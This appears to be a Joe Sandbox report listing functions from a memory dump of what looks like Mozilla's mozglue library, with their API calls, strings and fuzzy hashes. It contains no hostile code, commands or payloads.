?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C60E8B5,00000000), ref: 6C635F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C60E8B5,00000000), ref: 6C635FD6

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 61b9565a816cbf1d3e93b74dd98c693289398de92cbe0e2c7bc6a38d9d953c68
Instruction ID: be0e4d8d07f4fcef47777d896f9c743a6b6d0e73098badb499ab78fe8daec915
Opcode Fuzzy Hash: 61b9565a816cbf1d3e93b74dd98c693289398de92cbe0e2c7bc6a38d9d953c68
Instruction Fuzzy Hash: 3531E9343006108FD714CF2AC8D8A6AB7F5BF89319FA49668E55A8B795C731EC41CF85

Function 6C5DB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5DB532
moz_xmalloc.MOZGLUE(?), ref: 6C5DB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5DB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5DB57E
free.MOZGLUE(00000000), ref: 6C5DB58F

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 86563af1116feb6b3283440b9d960132e20edea544c4a51107a3ac5cb516f4e2
Instruction ID: 15607d0a5452e4e6b1ca4ccc47db52fba61cffff37c3bb29810be99ea2da0d8b
Opcode Fuzzy Hash: 86563af1116feb6b3283440b9d960132e20edea544c4a51107a3ac5cb516f4e2
Instruction Fuzzy Hash: 9821F871A00205DBDB00DF69CC80B6ABBBAFF86304F694129E914DB342F775E911C7A5

Function 6C636E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C636E78

Part of subcall function 6C636A10: InitializeCriticalSection.KERNEL32(6C65F618), ref: 6C636A68
Part of subcall function 6C636A10: GetCurrentProcess.KERNEL32 ref: 6C636A7D
Part of subcall function 6C636A10: GetCurrentProcess.KERNEL32 ref: 6C636AA1
Part of subcall function 6C636A10: EnterCriticalSection.KERNEL32(6C65F618), ref: 6C636AAE
Part of subcall function 6C636A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C636AE1
Part of subcall function 6C636A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C636B15
Part of subcall function 6C636A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C636B65
Part of subcall function 6C636A10: LeaveCriticalSection.KERNEL32(6C65F618,?,?), ref: 6C636B83

MozFormatCodeAddress.MOZGLUE ref: 6C636EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C636EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C636EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C636EFF

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 58eda8d4a6d36c1341a1c0d6d6925a4449ac5631d69de7a1522861abcd40a728
Instruction ID: 550383b057776b2747030bb2c0bd34425953669ee1087aebac6f082393df34b5
Opcode Fuzzy Hash: 58eda8d4a6d36c1341a1c0d6d6925a4449ac5631d69de7a1522861abcd40a728
Instruction Fuzzy Hash: 5821B0B1A0421A8FCB04CF29D8C469E77F5FF84308F044039E80D97240EB709A588F96

Function 6C610D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5D3DEF), ref: 6C610D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5D3DEF), ref: 6C610D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5D3DEF), ref: 6C610DAF

Strings

<jemalloc>, xrefs: 6C610D92, 6C610DB9
: (malloc) Error in VirtualFree(), xrefs: 6C610D97, 6C610DBE

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 8f4e922717177fc2f278fad4d047697dd5f1e26a9985597214cf97db2bfccdb2
Instruction ID: 763da2434c194be4bca5f9fc2ebd09151a5612a3019fc0aab0d7d506f942b203
Opcode Fuzzy Hash: 8f4e922717177fc2f278fad4d047697dd5f1e26a9985597214cf97db2bfccdb2
Instruction Fuzzy Hash: 78F0E97179829423EE20196E0C0ABAA269D6BC2B27F704036F204DADC0DA90E43086AD

Function 6C627620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6275C4,?), ref: 6C62762B

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6274D7,6C6315FC,?,?,?), ref: 6C627644
GetCurrentThreadId.KERNEL32 ref: 6C62765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6274D7,6C6315FC,?,?,?), ref: 6C627663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6274D7,6C6315FC,?,?,?), ref: 6C627677

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: e6cad1ab39c8727f88d0a278cd4ebc1869b78a2e30daeb1d1bef5a0156ad310d
Instruction ID: c07fdd471a13732dc1113f1b20b0c689b3327fa53add153fb563e5a418e3897e
Opcode Fuzzy Hash: e6cad1ab39c8727f88d0a278cd4ebc1869b78a2e30daeb1d1bef5a0156ad310d
Instruction Fuzzy Hash: 85F0C271E10746ABD700CF22C888676B778FFEA299F614316F94453601E7B0A5D18BD0

Function 6C5FD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

EnterCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD4F2
LeaveCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD50B

Part of subcall function 6C5DCFE0: EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5DCFF6
Part of subcall function 6C5DCFE0: LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD52E
EnterCriticalSection.KERNEL32(6C65E7DC), ref: 6C5FD690
LeaveCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD751

Strings

MOZ_CRASH(), xrefs: 6C5FD4BB

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 2924f6e8314fd762110f2708798a467385a2584eceb2417cd27d399bfe341261
Instruction ID: bb9d73a9f5ce42c2c1bec6dfa7da42789ba3ae8b31b6a4cfc8177324bddf2e34
Opcode Fuzzy Hash: 2924f6e8314fd762110f2708798a467385a2584eceb2417cd27d399bfe341261
Instruction Fuzzy Hash: 9651E171A047018FD768CF29C59071AB7F1EB8A704FA4492ED5AAC7B84E770E801CF96

Function 6C624630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C624721

Strings

-%llu, xrefs: 6C624733
., xrefs: 6C62476A
profiler-paused, xrefs: 6C6246E4

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: a380b5ca0ac3c89d96ed87a1a1d55adf1a7511f064edb2a8a4a08a659a56eabd
Instruction ID: e560683bab749a39a599dd596f9cd6e6aba1d41dd33dd746c28dac418b1c20c3
Opcode Fuzzy Hash: a380b5ca0ac3c89d96ed87a1a1d55adf1a7511f064edb2a8a4a08a659a56eabd
Instruction Fuzzy Hash: 2C417631F047089BCB08DF39D88116EBBE5EF86748F10C63DE855AB781EB7498008B4A

Function 6C6246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C624721

Part of subcall function 6C5D4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C613EBD,00000017,?,00000000,?,6C613EBD,?,?,6C5D42D2), ref: 6C5D4444

Strings

-%llu, xrefs: 6C624733
., xrefs: 6C62476A
profiler-paused, xrefs: 6C6246E4

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 7aea4366d871f84014487f171c333300c650940c8d21267fc30d6522cc763ee1
Instruction ID: f064673dbb7e2cec8ba75cd041bebaca5c1ffd53141d23656812a78e2785d762
Opcode Fuzzy Hash: 7aea4366d871f84014487f171c333300c650940c8d21267fc30d6522cc763ee1
Instruction Fuzzy Hash: AE314B71F042085BCB0CCF6DD8812ADBBE6DB89314F55813DE8559B781E7B498048F99

Function 6C62B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C613EBD,6C613EBD,00000000), ref: 6C5D42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C62B127), ref: 6C62B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C62B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C62B4E4

Strings

pid:, xrefs: 6C62B4DE

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 8acbdb9a9fab67beafe1afd2c392746a2b1cbce9390df78a1da7ec393bfa8de0
Instruction ID: 7172af6adf0d0f842047cd90374b44cd973535e12cbf9afcffa8e628cc2055ea
Opcode Fuzzy Hash: 8acbdb9a9fab67beafe1afd2c392746a2b1cbce9390df78a1da7ec393bfa8de0
Instruction Fuzzy Hash: 74310531A01208DBDB00DFA9D8C0AEEB7B5FF89318F940529D8126BA41D735A945CFE9

Function 6C61E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C61E577
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61E584
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C61E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C61E5A1, 6C61E5CC, 6C61E5FF, 6C61E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C61E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C61E826, 6C61E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C61E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C61E722, 6C61E750, 6C61E7A2

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 2829931b33c4763fa02bc8e1c5c816aad3069fa8af6cf07da490aa49390f1fcc
Instruction ID: de6f39b18fc37e564f74324d08876a8ea8a6db5cfe551ee54c3d25bd264bb4ac
Opcode Fuzzy Hash: 2829931b33c4763fa02bc8e1c5c816aad3069fa8af6cf07da490aa49390f1fcc
Instruction Fuzzy Hash: B7118E31604254DFCB00DF1AC488A6ABBF4FFC9328FA00619E88597A51C774A815CBDE

Function 6C620C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C620CD5

Part of subcall function 6C60F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C60F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C620D40
free.MOZGLUE ref: 6C620DCB

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

free.MOZGLUE ref: 6C620DDD
free.MOZGLUE ref: 6C620DF2

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 7d038b936bd1e8d5bf3fc28efe4b88ecc6da77ee36301fe8173694e11811271c
Instruction ID: 36527e596418de067379f5ad8b037bd7d2d7b561d352890ca2ec37a0bf86e9a1
Opcode Fuzzy Hash: 7d038b936bd1e8d5bf3fc28efe4b88ecc6da77ee36301fe8173694e11811271c
Instruction Fuzzy Hash: 19413871A097849BD720CF29C08079AFBE5BFC9714F608A2EE8D887750DB749845CF86

Function 6C62CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62CDA4

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

Part of subcall function 6C62D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C62CDBA,00100000,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62D158
Part of subcall function 6C62D130: InitializeConditionVariable.KERNEL32(00000098,?,6C62CDBA,00100000,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62CDC4

Part of subcall function 6C627480: ReleaseSRWLockExclusive.KERNEL32(?,6C6315FC,?,?,?,?,6C6315FC,?), ref: 6C6274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62CECC

Part of subcall function 6C5ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C5ECAA2

Part of subcall function 6C61CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C62CEEA,?,?,?,?,00000000,?,6C61DA31,00100000,?,?,00000000), ref: 6C61CB57
Part of subcall function 6C61CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C61CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C62CEEA,?,?), ref: 6C61CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62D058

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 90d0d2586928a368136a2525dcab0e5dbb68a76f2760bd365ef092df90374189
Instruction ID: f9bcd84799b1b0d32f958205256c2e87c9bf35607c4ff9904cb323c8c42a3919
Opcode Fuzzy Hash: 90d0d2586928a368136a2525dcab0e5dbb68a76f2760bd365ef092df90374189
Instruction Fuzzy Hash: 19D17E71A04B069FD718CF28C480B99F7E1BF89308F01862DD9598B752EB31E9A5CF85

Function 6C5F5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C5F5D40
EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5F5D67
__aulldiv.LIBCMT ref: 6C5F5DB4
LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5F5DED

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 40f6e3f9009f6a7635f51a1eec795001d16a245488d5739f9ec82c61844e4736
Instruction ID: 245b042ebf6a569a0015b678e3554142ff2c49e54545d664a08d17abdec13cb2
Opcode Fuzzy Hash: 40f6e3f9009f6a7635f51a1eec795001d16a245488d5739f9ec82c61844e4736
Instruction Fuzzy Hash: 4F517171E011298FCF08CF69C894AAEBBF1FB85304FA98619D865A7790C7306946CF95

Function 6C5DCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5DCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5DCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5DCF4E

Strings

0, xrefs: 6C5DCF30

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: a637aa3f79ef768b1d268be280890f17884ea3afa6abd6ed4665a7cd8a93e415
Instruction ID: 0263fa1c984a97ad87106895fc48083ad8730367ffd23f53a662d26fb962ff41
Opcode Fuzzy Hash: a637aa3f79ef768b1d268be280890f17884ea3afa6abd6ed4665a7cd8a93e415
Instruction Fuzzy Hash: B451F075A002168FCB05CF1CC890AAAFBA5EF99314F2A859DD8595F352D731BD06CBE0

Function 6C616470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6182BC,?,?), ref: 6C61649B

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6164A9

Part of subcall function 6C60FA80: GetCurrentThreadId.KERNEL32 ref: 6C60FA8D
Part of subcall function 6C60FA80: AcquireSRWLockExclusive.KERNEL32(6C65F448), ref: 6C60FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C61653F
free.MOZGLUE(?), ref: 6C61655A

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 6fc04eeac29a803119d53376bcef8f460fdad4fdfe7e6d9ab106f0dd47cd250d
Instruction ID: 34fe19702800a5037d986a3df5fac8effbf544722d443d64bde5b0355948d2be
Opcode Fuzzy Hash: 6fc04eeac29a803119d53376bcef8f460fdad4fdfe7e6d9ab106f0dd47cd250d
